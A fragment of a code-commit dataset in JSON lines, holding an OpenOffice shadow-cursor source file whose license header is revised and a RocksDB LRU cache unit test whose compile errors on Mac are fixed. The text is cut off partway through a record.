SfxItemSet&,\n BYTE nDialogMode,\n const String *pCollName = 0,\n BOOL bDraw = FALSE,\n UINT16 nDefPage = 0);\n ~SwParaDlg();\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: shdwcrsr.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: vg $ $Date: 2003-04-17 15:56:43 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _SV_WINDOW_HXX \/\/autogen\n#include <vcl\/window.hxx>\n#endif\n\n#include \"swtypes.hxx\"\n#include \"shdwcrsr.hxx\"\n\n\nSwShadowCursor::~SwShadowCursor()\n{\n if( USHRT_MAX != nOldMode )\n DrawCrsr( aOldPt, nOldHeight, nOldMode );\n}\n\nvoid SwShadowCursor::SetPos( const Point& rPt, long nHeight, USHORT nMode )\n{\n Point aPt( pWin->LogicToPixel( rPt ));\n nHeight = pWin->LogicToPixel( Size( 0, nHeight )).Height();\n if( aOldPt != aPt || nOldHeight != nHeight || nOldMode != nMode )\n {\n if( USHRT_MAX != nOldMode )\n DrawCrsr( aOldPt, nOldHeight, nOldMode );\n\n DrawCrsr( aPt, nHeight, nMode );\n nOldMode = nMode;\n nOldHeight = nHeight;\n aOldPt = aPt;\n }\n}\n\nvoid SwShadowCursor::DrawTri( const Point& rPt, long nHeight, BOOL bLeft )\n{\n USHORT nLineDiff = ( nHeight \/ 2 );\n USHORT nLineDiffHalf = nLineDiff \/ 2;\n\n \/\/ Punkt oben\n Point aPt1( (bLeft ? rPt.X() - 3 : rPt.X() + 3),\n rPt.Y() + nLineDiffHalf );\n \/\/ Punkt unten\n Point aPt2( aPt1.X(), aPt1.Y() + nHeight - nLineDiff - 1 );\n short nDiff = bLeft ? -1 : 1;\n while( aPt1.Y() <= aPt2.Y() )\n {\n pWin->DrawLine( aPt1, aPt2 );\n aPt1.Y()++, aPt2.Y()--;\n aPt2.X() = aPt1.X() += nDiff;\n }\n}\n\nvoid SwShadowCursor::DrawCrsr( const Point& rPt, long nHeight, USHORT nMode )\n{\n nHeight = (((nHeight \/ 4)+1) * 4) + 1;\n\n pWin->Push();\n\n pWin->SetMapMode( MAP_PIXEL );\n pWin->SetRasterOp( ROP_XOR );\n\n pWin->SetLineColor( Color( aCol.GetColor() ^ COL_WHITE ) );\n\n \/\/ 1. der Strich:\n pWin->DrawLine( Point( rPt.X(), rPt.Y() + 1),\n Point( rPt.X(), rPt.Y() - 2 + nHeight ));\n\n \/\/ 2. das Dreieck\n if( HORI_LEFT == nMode || HORI_CENTER == nMode ) \/\/ Pfeil nach rechts\n DrawTri( rPt, nHeight, FALSE );\n if( HORI_RIGHT == nMode || HORI_CENTER == nMode ) \/\/ Pfeil nach links\n DrawTri( rPt, nHeight, TRUE );\n\n pWin->Pop();\n}\n\nvoid SwShadowCursor::Paint()\n{\n if( USHRT_MAX != nOldMode )\n DrawCrsr( aOldPt, nOldHeight, nOldMode );\n}\n\nRectangle SwShadowCursor::GetRect() const\n{\n long nH = nOldHeight;\n Point aPt( aOldPt );\n\n nH = (((nH \/ 4)+1) * 4) + 1;\n USHORT nWidth = nH \/ 4 + 3 + 1;\n\n Size aSz( nWidth, nH );\n\n if( HORI_RIGHT == nOldMode )\n aPt.X() -= aSz.Width();\n else if( HORI_CENTER == nOldMode )\n {\n aPt.X() -= aSz.Width();\n aSz.Width() *= 2;\n }\n\n return pWin->PixelToLogic( Rectangle( aPt, aSz ) );\n}\n\n\n\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.3.1254); FILE MERGED 2005\/09\/05 13:48:16 rt 1.3.1254.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: shdwcrsr.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 11:30:29 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _SV_WINDOW_HXX \/\/autogen\n#include <vcl\/window.hxx>\n#endif\n\n#include \"swtypes.hxx\"\n#include \"shdwcrsr.hxx\"\n\n\nSwShadowCursor::~SwShadowCursor()\n{\n if( USHRT_MAX != nOldMode )\n DrawCrsr( aOldPt, nOldHeight, nOldMode );\n}\n\nvoid SwShadowCursor::SetPos( const Point& rPt, long nHeight, USHORT nMode )\n{\n Point aPt( pWin->LogicToPixel( rPt ));\n nHeight = pWin->LogicToPixel( Size( 0, nHeight )).Height();\n if( aOldPt != aPt || nOldHeight != nHeight || nOldMode != nMode )\n {\n if( USHRT_MAX != nOldMode )\n DrawCrsr( aOldPt, nOldHeight, nOldMode );\n\n DrawCrsr( aPt, nHeight, nMode );\n nOldMode = nMode;\n nOldHeight = nHeight;\n aOldPt = aPt;\n }\n}\n\nvoid SwShadowCursor::DrawTri( const Point& rPt, long nHeight, BOOL bLeft )\n{\n USHORT nLineDiff = ( nHeight \/ 2 );\n USHORT nLineDiffHalf = nLineDiff \/ 2;\n\n \/\/ Punkt oben\n Point aPt1( (bLeft ? rPt.X() - 3 : rPt.X() + 3),\n rPt.Y() + nLineDiffHalf );\n \/\/ Punkt unten\n Point aPt2( aPt1.X(), aPt1.Y() + nHeight - nLineDiff - 1 );\n short nDiff = bLeft ? -1 : 1;\n while( aPt1.Y() <= aPt2.Y() )\n {\n pWin->DrawLine( aPt1, aPt2 );\n aPt1.Y()++, aPt2.Y()--;\n aPt2.X() = aPt1.X() += nDiff;\n }\n}\n\nvoid SwShadowCursor::DrawCrsr( const Point& rPt, long nHeight, USHORT nMode )\n{\n nHeight = (((nHeight \/ 4)+1) * 4) + 1;\n\n pWin->Push();\n\n pWin->SetMapMode( MAP_PIXEL );\n pWin->SetRasterOp( ROP_XOR );\n\n pWin->SetLineColor( Color( aCol.GetColor() ^ COL_WHITE ) );\n\n \/\/ 1. der Strich:\n pWin->DrawLine( Point( rPt.X(), rPt.Y() + 1),\n Point( rPt.X(), rPt.Y() - 2 + nHeight ));\n\n \/\/ 2. das Dreieck\n if( HORI_LEFT == nMode || HORI_CENTER == nMode ) \/\/ Pfeil nach rechts\n DrawTri( rPt, nHeight, FALSE );\n if( HORI_RIGHT == nMode || HORI_CENTER == nMode ) \/\/ Pfeil nach links\n DrawTri( rPt, nHeight, TRUE );\n\n pWin->Pop();\n}\n\nvoid SwShadowCursor::Paint()\n{\n if( USHRT_MAX != nOldMode )\n DrawCrsr( aOldPt, nOldHeight, nOldMode );\n}\n\nRectangle SwShadowCursor::GetRect() const\n{\n long nH = nOldHeight;\n Point aPt( aOldPt );\n\n nH = (((nH \/ 4)+1) * 4) + 1;\n USHORT nWidth = nH \/ 4 + 3 + 1;\n\n Size aSz( nWidth, nH );\n\n if( HORI_RIGHT == nOldMode )\n aPt.X() -= aSz.Width();\n else if( HORI_CENTER == nOldMode )\n {\n aPt.X() -= aSz.Width();\n aSz.Width() *= 2;\n }\n\n return pWin->PixelToLogic( Rectangle( aPt, aSz ) );\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013, Facebook, Inc. All rights reserved.\n\/\/ This source code is licensed under the BSD-style license found in the\n\/\/ LICENSE file in the root directory of this source tree. An additional grant\n\/\/ of patent rights can be found in the PATENTS file in the same directory.\n\/\/\n\/\/ Copyright (c) 2011 The LevelDB Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file. See the AUTHORS file for names of contributors.\n\n#include \"rocksdb\/cache.h\"\n\n#include <vector>\n#include <string>\n#include <iostream>\n#include \"util\/coding.h\"\n#include \"util\/testharness.h\"\n\nnamespace rocksdb {\n\n\/\/ Conversions between numeric keys\/values and the types expected by Cache.\nstatic std::string EncodeKey(int k) {\n std::string result;\n PutFixed32(&result, k);\n return result;\n}\nstatic int DecodeKey(const Slice& k) {\n assert(k.size() == 4);\n return DecodeFixed32(k.data());\n}\nstatic void* EncodeValue(uintptr_t v) { return reinterpret_cast<void*>(v); }\nstatic int DecodeValue(void* v) {\n return static_cast<int>(reinterpret_cast<uintptr_t>(v));\n}\n\nclass CacheTest {\n public:\n static CacheTest* current_;\n\n static void Deleter(const Slice& key, void* v) {\n current_->deleted_keys_.push_back(DecodeKey(key));\n current_->deleted_values_.push_back(DecodeValue(v));\n }\n\n static const int kCacheSize = 1000;\n static const int kNumShardBits = 4;\n static const int kRemoveScanCountLimit = 16;\n\n static const int kCacheSize2 = 100;\n static const int kNumShardBits2 = 2;\n static const int kRemoveScanCountLimit2 = 200;\n\n std::vector<int> deleted_keys_;\n std::vector<int> deleted_values_;\n shared_ptr<Cache> cache_;\n shared_ptr<Cache> cache2_;\n\n CacheTest() :\n cache_(NewLRUCache(kCacheSize, kNumShardBits, kRemoveScanCountLimit)),\n cache2_(NewLRUCache(kCacheSize2, kNumShardBits2,\n kRemoveScanCountLimit2)) {\n current_ = this;\n }\n\n ~CacheTest() {\n }\n\n int Lookup(shared_ptr<Cache> cache, int key) {\n Cache::Handle* handle = cache->Lookup(EncodeKey(key));\n const int r = (handle == nullptr) ? -1 : DecodeValue(cache->Value(handle));\n if (handle != nullptr) {\n cache->Release(handle);\n }\n return r;\n }\n\n void Insert(shared_ptr<Cache> cache, int key, int value, int charge = 1) {\n cache->Release(cache->Insert(EncodeKey(key), EncodeValue(value), charge,\n &CacheTest::Deleter));\n }\n\n void Erase(shared_ptr<Cache> cache, int key) {\n cache->Erase(EncodeKey(key));\n }\n\n\n int Lookup(int key) {\n return Lookup(cache_, key);\n }\n\n void Insert(int key, int value, int charge = 1) {\n Insert(cache_, key, value, charge);\n }\n\n void Erase(int key) {\n Erase(cache_, key);\n }\n\n int Lookup2(int key) {\n return Lookup(cache2_, key);\n }\n\n void Insert2(int key, int value, int charge = 1) {\n Insert(cache2_, key, value, charge);\n }\n\n void Erase2(int key) {\n Erase(cache2_, key);\n }\n};\nCacheTest* CacheTest::current_;\n\nnamespace {\nvoid dumbDeleter(const Slice& key, void* value) { }\n} \/\/ namespace\n\nTEST(CacheTest, UsageTest) {\n \/\/ cache is shared_ptr and will be automatically cleaned up.\n const uint64_t kCapacity = 100000;\n auto cache = NewLRUCache(kCapacity, 8, 200);\n\n size_t usage = 0;\n const char* value = \"abcdef\";\n \/\/ make sure everything will be cached\n for (int i = 1; i < 100; ++i) {\n std::string key(i, 'a');\n auto kv_size = key.size() + 5;\n cache->Release(\n cache->Insert(key, (void*)value, kv_size, dumbDeleter)\n );\n usage += kv_size;\n ASSERT_EQ(usage, cache->GetUsage());\n }\n\n \/\/ make sure the cache will be overloaded\n for (uint64_t i = 1; i < kCapacity; ++i) {\n auto key = ToString(i);\n cache->Release(\n cache->Insert(key, (void*)value, key.size() + 5, dumbDeleter)\n );\n }\n\n \/\/ the usage should be close to the capacity\n ASSERT_GT(kCapacity, cache->GetUsage());\n ASSERT_LT(kCapacity * 0.95, cache->GetUsage());\n}\n\nTEST(CacheTest, HitAndMiss) {\n ASSERT_EQ(-1, Lookup(100));\n\n Insert(100, 101);\n ASSERT_EQ(101, Lookup(100));\n ASSERT_EQ(-1, Lookup(200));\n ASSERT_EQ(-1, Lookup(300));\n\n Insert(200, 201);\n ASSERT_EQ(101, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(-1, Lookup(300));\n\n Insert(100, 102);\n ASSERT_EQ(102, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(-1, Lookup(300));\n\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[0]);\n ASSERT_EQ(101, deleted_values_[0]);\n}\n\nTEST(CacheTest, Erase) {\n Erase(200);\n ASSERT_EQ(0U, deleted_keys_.size());\n\n Insert(100, 101);\n Insert(200, 201);\n Erase(100);\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[0]);\n ASSERT_EQ(101, deleted_values_[0]);\n\n Erase(100);\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(1U, deleted_keys_.size());\n}\n\nTEST(CacheTest, EntriesArePinned) {\n Insert(100, 101);\n Cache::Handle* h1 = cache_->Lookup(EncodeKey(100));\n ASSERT_EQ(101, DecodeValue(cache_->Value(h1)));\n ASSERT_EQ(1, cache_->GetUsage());\n\n Insert(100, 102);\n Cache::Handle* h2 = cache_->Lookup(EncodeKey(100));\n ASSERT_EQ(102, DecodeValue(cache_->Value(h2)));\n ASSERT_EQ(0U, deleted_keys_.size());\n ASSERT_EQ(2, cache_->GetUsage());\n\n cache_->Release(h1);\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[0]);\n ASSERT_EQ(101, deleted_values_[0]);\n ASSERT_EQ(1, cache_->GetUsage());\n\n Erase(100);\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(1, cache_->GetUsage());\n\n cache_->Release(h2);\n ASSERT_EQ(2U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[1]);\n ASSERT_EQ(102, deleted_values_[1]);\n ASSERT_EQ(0, cache_->GetUsage());\n}\n\nTEST(CacheTest, EvictionPolicy) {\n Insert(100, 101);\n Insert(200, 201);\n\n \/\/ Frequently used entry must be kept around\n for (int i = 0; i < kCacheSize + 100; i++) {\n Insert(1000+i, 2000+i);\n ASSERT_EQ(2000+i, Lookup(1000+i));\n ASSERT_EQ(101, Lookup(100));\n }\n ASSERT_EQ(101, Lookup(100));\n ASSERT_EQ(-1, Lookup(200));\n}\n\nTEST(CacheTest, EvictionPolicyRef) {\n Insert(100, 101);\n Insert(101, 102);\n Insert(102, 103);\n Insert(103, 104);\n Insert(200, 101);\n Insert(201, 102);\n Insert(202, 103);\n Insert(203, 104);\n Cache::Handle* h201 = cache_->Lookup(EncodeKey(200));\n Cache::Handle* h202 = cache_->Lookup(EncodeKey(201));\n Cache::Handle* h203 = cache_->Lookup(EncodeKey(202));\n Cache::Handle* h204 = cache_->Lookup(EncodeKey(203));\n Insert(300, 101);\n Insert(301, 102);\n Insert(302, 103);\n Insert(303, 104);\n\n \/\/ Insert entries much more than Cache capacity\n for (int i = 0; i < kCacheSize + 100; i++) {\n Insert(1000 + i, 2000 + i);\n }\n\n \/\/ Check whether the entries inserted in the beginning\n \/\/ are evicted. Ones without extra ref are evicted and\n \/\/ those with are not.\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(-1, Lookup(101));\n ASSERT_EQ(-1, Lookup(102));\n ASSERT_EQ(-1, Lookup(103));\n\n ASSERT_EQ(-1, Lookup(300));\n ASSERT_EQ(-1, Lookup(301));\n ASSERT_EQ(-1, Lookup(302));\n ASSERT_EQ(-1, Lookup(303));\n\n ASSERT_EQ(101, Lookup(200));\n ASSERT_EQ(102, Lookup(201));\n ASSERT_EQ(103, Lookup(202));\n ASSERT_EQ(104, Lookup(203));\n\n \/\/ Cleaning up all the handles\n cache_->Release(h201);\n cache_->Release(h202);\n cache_->Release(h203);\n cache_->Release(h204);\n}\n\nTEST(CacheTest, ErasedHandleState) {\n \/\/ insert a key and get two handles\n Insert(100, 1000);\n Cache::Handle* h1 = cache_->Lookup(EncodeKey(100));\n Cache::Handle* h2 = cache_->Lookup(EncodeKey(100));\n ASSERT_EQ(h1, h2);\n ASSERT_EQ(DecodeValue(cache_->Value(h1)), 1000);\n ASSERT_EQ(DecodeValue(cache_->Value(h2)), 1000);\n\n \/\/ delete the key from the cache\n Erase(100);\n \/\/ can no longer find in the cache\n ASSERT_EQ(-1, Lookup(100));\n\n \/\/ release one handle\n cache_->Release(h1);\n \/\/ still can't find in cache\n ASSERT_EQ(-1, Lookup(100));\n\n cache_->Release(h2);\n}\n\nTEST(CacheTest, HeavyEntries) {\n \/\/ Add a bunch of light and heavy entries and then count the combined\n \/\/ size of items still in the cache, which must be approximately the\n \/\/ same as the total capacity.\n const int kLight = 1;\n const int kHeavy = 10;\n int added = 0;\n int index = 0;\n while (added < 2*kCacheSize) {\n const int weight = (index & 1) ? kLight : kHeavy;\n Insert(index, 1000+index, weight);\n added += weight;\n index++;\n }\n\n int cached_weight = 0;\n for (int i = 0; i < index; i++) {\n const int weight = (i & 1 ? kLight : kHeavy);\n int r = Lookup(i);\n if (r >= 0) {\n cached_weight += weight;\n ASSERT_EQ(1000+i, r);\n }\n }\n ASSERT_LE(cached_weight, kCacheSize + kCacheSize\/10);\n}\n\nTEST(CacheTest, NewId) {\n uint64_t a = cache_->NewId();\n uint64_t b = cache_->NewId();\n ASSERT_NE(a, b);\n}\n\n\nclass Value {\n private:\n int v_;\n public:\n explicit Value(int v) : v_(v) { }\n\n ~Value() { std::cout << v_ << \" is destructed\\n\"; }\n};\n\nnamespace {\nvoid deleter(const Slice& key, void* value) {\n delete static_cast<Value *>(value);\n}\n} \/\/ namespace\n\nTEST(CacheTest, OverCapacity) {\n int n = 10;\n\n \/\/ a LRUCache with n entries and one shard only\n std::shared_ptr<Cache> cache = NewLRUCache(n, 0);\n\n std::vector<Cache::Handle*> handles(n+1);\n\n \/\/ Insert n+1 entries, but not releasing.\n for (int i = 0; i < n+1; i++) {\n std::string key = ToString(i+1);\n handles[i] = cache->Insert(key, new Value(i+1), 1, &deleter);\n }\n\n \/\/ Guess what's in the cache now?\n for (int i = 0; i < n+1; i++) {\n std::string key = ToString(i+1);\n auto h = cache->Lookup(key);\n std::cout << key << (h?\" found\\n\":\" not found\\n\");\n ASSERT_TRUE(h != nullptr);\n if (h) cache->Release(h);\n }\n\n \/\/ the cache is over capacity since nothing could be evicted\n ASSERT_EQ(n + 1, cache->GetUsage());\n for (int i = 0; i < n+1; i++) {\n cache->Release(handles[i]);\n }\n\n \/\/ cache is under capacity now since elements were released\n ASSERT_EQ(n, cache->GetUsage());\n\n \/\/ element 0 is evicted and the rest is there\n \/\/ This is consistent with the LRU policy since the element 0\n \/\/ was released first\n for (int i = 0; i < n+1; i++) {\n std::string key = ToString(i+1);\n auto h = cache->Lookup(key);\n if (h) {\n ASSERT_NE(i, 0);\n cache->Release(h);\n } else {\n ASSERT_EQ(i, 0);\n }\n }\n}\n\nnamespace {\nstd::vector<std::pair<int, int>> callback_state;\nvoid callback(void* entry, size_t charge) {\n callback_state.push_back({DecodeValue(entry), static_cast<int>(charge)});\n}\n};\n\nTEST(CacheTest, ApplyToAllCacheEntiresTest) {\n std::vector<std::pair<int, int>> inserted;\n callback_state.clear();\n\n for (int i = 0; i < 10; ++i) {\n Insert(i, i * 2, i + 1);\n inserted.push_back({i * 2, i + 1});\n }\n cache_->ApplyToAllCacheEntries(callback, true);\n\n sort(inserted.begin(), inserted.end());\n sort(callback_state.begin(), callback_state.end());\n ASSERT_TRUE(inserted == callback_state);\n}\n\n} \/\/ namespace rocksdb\n\nint main(int argc, char** argv) {\n return rocksdb::test::RunAllTests();\n}\n<commit_msg>Fix Mac compile errors on util\/cache_test.cc<commit_after>\/\/ Copyright (c) 2013, Facebook, Inc. All rights reserved.\n\/\/ This source code is licensed under the BSD-style license found in the\n\/\/ LICENSE file in the root directory of this source tree. An additional grant\n\/\/ of patent rights can be found in the PATENTS file in the same directory.\n\/\/\n\/\/ Copyright (c) 2011 The LevelDB Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file. See the AUTHORS file for names of contributors.\n\n#include \"rocksdb\/cache.h\"\n\n#include <vector>\n#include <string>\n#include <iostream>\n#include \"util\/coding.h\"\n#include \"util\/testharness.h\"\n\nnamespace rocksdb {\n\n\/\/ Conversions between numeric keys\/values and the types expected by Cache.\nstatic std::string EncodeKey(int k) {\n std::string result;\n PutFixed32(&result, k);\n return result;\n}\nstatic int DecodeKey(const Slice& k) {\n assert(k.size() == 4);\n return DecodeFixed32(k.data());\n}\nstatic void* EncodeValue(uintptr_t v) { return reinterpret_cast<void*>(v); }\nstatic int DecodeValue(void* v) {\n return static_cast<int>(reinterpret_cast<uintptr_t>(v));\n}\n\nclass CacheTest {\n public:\n static CacheTest* current_;\n\n static void Deleter(const Slice& key, void* v) {\n current_->deleted_keys_.push_back(DecodeKey(key));\n current_->deleted_values_.push_back(DecodeValue(v));\n }\n\n static const int kCacheSize = 1000;\n static const int kNumShardBits = 4;\n static const int kRemoveScanCountLimit = 16;\n\n static const int kCacheSize2 = 100;\n static const int kNumShardBits2 = 2;\n static const int kRemoveScanCountLimit2 = 200;\n\n std::vector<int> deleted_keys_;\n std::vector<int> deleted_values_;\n shared_ptr<Cache> cache_;\n shared_ptr<Cache> cache2_;\n\n CacheTest() :\n cache_(NewLRUCache(kCacheSize, kNumShardBits, kRemoveScanCountLimit)),\n cache2_(NewLRUCache(kCacheSize2, kNumShardBits2,\n kRemoveScanCountLimit2)) {\n current_ = this;\n }\n\n ~CacheTest() {\n }\n\n int Lookup(shared_ptr<Cache> cache, int key) {\n Cache::Handle* handle = cache->Lookup(EncodeKey(key));\n const int r = (handle == nullptr) ? -1 : DecodeValue(cache->Value(handle));\n if (handle != nullptr) {\n cache->Release(handle);\n }\n return r;\n }\n\n void Insert(shared_ptr<Cache> cache, int key, int value, int charge = 1) {\n cache->Release(cache->Insert(EncodeKey(key), EncodeValue(value), charge,\n &CacheTest::Deleter));\n }\n\n void Erase(shared_ptr<Cache> cache, int key) {\n cache->Erase(EncodeKey(key));\n }\n\n\n int Lookup(int key) {\n return Lookup(cache_, key);\n }\n\n void Insert(int key, int value, int charge = 1) {\n Insert(cache_, key, value, charge);\n }\n\n void Erase(int key) {\n Erase(cache_, key);\n }\n\n int Lookup2(int key) {\n return Lookup(cache2_, key);\n }\n\n void Insert2(int key, int value, int charge = 1) {\n Insert(cache2_, key, value, charge);\n }\n\n void Erase2(int key) {\n Erase(cache2_, key);\n }\n};\nCacheTest* CacheTest::current_;\n\nnamespace {\nvoid dumbDeleter(const Slice& key, void* value) { }\n} \/\/ namespace\n\nTEST(CacheTest, UsageTest) {\n \/\/ cache is shared_ptr and will be automatically cleaned up.\n const uint64_t kCapacity = 100000;\n auto cache = NewLRUCache(kCapacity, 8, 200);\n\n size_t usage = 0;\n const char* value = \"abcdef\";\n \/\/ make sure everything will be cached\n for (int i = 1; i < 100; ++i) {\n std::string key(i, 'a');\n auto kv_size = key.size() + 5;\n cache->Release(\n cache->Insert(key, (void*)value, kv_size, dumbDeleter)\n );\n usage += kv_size;\n ASSERT_EQ(usage, cache->GetUsage());\n }\n\n \/\/ make sure the cache will be overloaded\n for (uint64_t i = 1; i < kCapacity; ++i) {\n auto key = ToString(i);\n cache->Release(\n cache->Insert(key, (void*)value, key.size() + 5, dumbDeleter)\n );\n }\n\n \/\/ the usage should be close to the capacity\n ASSERT_GT(kCapacity, cache->GetUsage());\n ASSERT_LT(kCapacity * 0.95, cache->GetUsage());\n}\n\nTEST(CacheTest, HitAndMiss) {\n ASSERT_EQ(-1, Lookup(100));\n\n Insert(100, 101);\n ASSERT_EQ(101, Lookup(100));\n ASSERT_EQ(-1, Lookup(200));\n ASSERT_EQ(-1, Lookup(300));\n\n Insert(200, 201);\n ASSERT_EQ(101, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(-1, Lookup(300));\n\n Insert(100, 102);\n ASSERT_EQ(102, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(-1, Lookup(300));\n\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[0]);\n ASSERT_EQ(101, deleted_values_[0]);\n}\n\nTEST(CacheTest, Erase) {\n Erase(200);\n ASSERT_EQ(0U, deleted_keys_.size());\n\n Insert(100, 101);\n Insert(200, 201);\n Erase(100);\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[0]);\n ASSERT_EQ(101, deleted_values_[0]);\n\n Erase(100);\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(201, Lookup(200));\n ASSERT_EQ(1U, deleted_keys_.size());\n}\n\nTEST(CacheTest, EntriesArePinned) {\n Insert(100, 101);\n Cache::Handle* h1 = cache_->Lookup(EncodeKey(100));\n ASSERT_EQ(101, DecodeValue(cache_->Value(h1)));\n ASSERT_EQ(1U, cache_->GetUsage());\n\n Insert(100, 102);\n Cache::Handle* h2 = cache_->Lookup(EncodeKey(100));\n ASSERT_EQ(102, DecodeValue(cache_->Value(h2)));\n ASSERT_EQ(0U, deleted_keys_.size());\n ASSERT_EQ(2U, cache_->GetUsage());\n\n cache_->Release(h1);\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[0]);\n ASSERT_EQ(101, deleted_values_[0]);\n ASSERT_EQ(1U, cache_->GetUsage());\n\n Erase(100);\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(1U, deleted_keys_.size());\n ASSERT_EQ(1U, cache_->GetUsage());\n\n cache_->Release(h2);\n ASSERT_EQ(2U, deleted_keys_.size());\n ASSERT_EQ(100, deleted_keys_[1]);\n ASSERT_EQ(102, deleted_values_[1]);\n ASSERT_EQ(0U, cache_->GetUsage());\n}\n\nTEST(CacheTest, EvictionPolicy) {\n Insert(100, 101);\n Insert(200, 201);\n\n \/\/ Frequently used entry must be kept around\n for (int i = 0; i < kCacheSize + 100; i++) {\n Insert(1000+i, 2000+i);\n ASSERT_EQ(2000+i, Lookup(1000+i));\n ASSERT_EQ(101, Lookup(100));\n }\n ASSERT_EQ(101, Lookup(100));\n ASSERT_EQ(-1, Lookup(200));\n}\n\nTEST(CacheTest, EvictionPolicyRef) {\n Insert(100, 101);\n Insert(101, 102);\n Insert(102, 103);\n Insert(103, 104);\n Insert(200, 101);\n Insert(201, 102);\n Insert(202, 103);\n Insert(203, 104);\n Cache::Handle* h201 = cache_->Lookup(EncodeKey(200));\n Cache::Handle* h202 = cache_->Lookup(EncodeKey(201));\n Cache::Handle* h203 = cache_->Lookup(EncodeKey(202));\n Cache::Handle* h204 = cache_->Lookup(EncodeKey(203));\n Insert(300, 101);\n Insert(301, 102);\n Insert(302, 103);\n Insert(303, 104);\n\n \/\/ Insert entries much more than Cache capacity\n for (int i = 0; i < kCacheSize + 100; i++) {\n Insert(1000 + i, 2000 + i);\n }\n\n \/\/ Check whether the entries inserted in the beginning\n \/\/ are evicted. Ones without extra ref are evicted and\n \/\/ those with are not.\n ASSERT_EQ(-1, Lookup(100));\n ASSERT_EQ(-1, Lookup(101));\n ASSERT_EQ(-1, Lookup(102));\n ASSERT_EQ(-1, Lookup(103));\n\n ASSERT_EQ(-1, Lookup(300));\n ASSERT_EQ(-1, Lookup(301));\n ASSERT_EQ(-1, Lookup(302));\n ASSERT_EQ(-1, Lookup(303));\n\n ASSERT_EQ(101, Lookup(200));\n ASSERT_EQ(102, Lookup(201));\n ASSERT_EQ(103, Lookup(202));\n ASSERT_EQ(104, Lookup(203));\n\n \/\/ Cleaning up all the handles\n cache_->Release(h201);\n 